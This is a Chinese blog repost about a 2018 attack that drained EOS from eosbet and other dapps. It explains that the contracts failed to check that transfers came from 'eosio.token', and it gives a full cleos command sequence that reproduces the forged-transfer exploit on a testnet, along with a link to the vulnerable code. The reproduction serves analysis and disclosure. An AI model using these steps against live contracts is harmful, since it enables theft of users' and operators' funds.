内容简介:昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。官方紧急发表声明,并关闭了游戏:eosbet刚被攻击关停,排名其后的
昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。
官方紧急发表声明,并关闭了游戏:
eosbet刚被攻击关停,排名其后的 dice游戏被同一个黑客再次攻破 ,使用同样的攻击手段, 转走大量EOS。。。。去中心化交易所 newdex也被用同样的手段攻破 。。。。。EOS Dapp前10中有3个被黑客成功攻破。。。。一下子,开发者都砸开了,难道是eos公链存在什么妖蛾子?
不过很快,币乎的一个技术大牛找到了问题的原因—— 仅仅因为缺少对代码调用是否来源于“eosio.token” 的判断 !我勒个去,这些开发者难道是零时工吗?这样低级的错误都能犯!
有大牛还原了黑客攻击流程(币乎作者cj1991)
在测试网,部署被攻击时的代码,实现一遍攻击方式,看看是否有效。
github代码: https://github.com/ganjingcun/bet-death-causes
这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。
cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11 cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer // create account cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi // set code cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi // set permission cleos set account permission eosbetdice11 active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p eosbetdice11@owner cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”safetransfer”,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner cleos set account permission eosbetcasino random ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[]}’ owner -p eosbetcasino@owner // initcontract cleos push action eosbetdice11 initcontract ‘{“randomness_key”:”EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”}’ -p eosbetcasino // test cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon // result cleos get actions joetothemoon cleos get table eosbetdice11 eosbetdice11 activebets // try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。 cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
步骤稍微讲解下,就是在测试网,创建相关账号,然后部署合约,然后执行攻击手段,然后开奖,成功证明,确实是 缺少了 判断 “eosio.token” 引起的。先执行 :
// test cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon
也就是直接调用 合约的 tranfer :发现执行成功。获取等待开奖的下注记录:
cleos get table eosbetdice11 eosbetdice11 activebets
由于bet 的开奖方式,是先生成下注记录,然后在用一个号来开奖,所以,我们手动一步步还原的过程中,下注记录是存在的,接下来,就是调用开奖了:获取bet_id, 然后用 eosbetcasino 开奖
// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。
cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
这里的开奖方式注意下,需要传入一个签名。请自己去生成。从直接调用 tansfer ,到生成下注记录,再到调用开奖。结论已经很明显了。根本不存在什么毁灭性bug,只是有一个 程序员 要祭天了而已..
文章来自: CocosBCX投资者社区 ( 原文链接 )
访问资讯分类,查看更多有价值的 区块链游戏 资讯。
以上所述就是小编给大家介绍的《三大EOS DAPP被黑客攻破薅走数万EOS》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 埃及黑客攻破Joomla邮件服务Jmail
- 资深黑客教小白如何攻破一个网站!超级详细的教学教程!太牛逼了
- 你的密码有多容易被黑客攻破?这其实可以被算出来
- Pwn2Own 黑客大会:Firefox, Edge 和 Safari 均被攻破
- EODIDEC 随机数被攻破
- 如何利用 MySQL 攻破数据库性能瓶颈?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。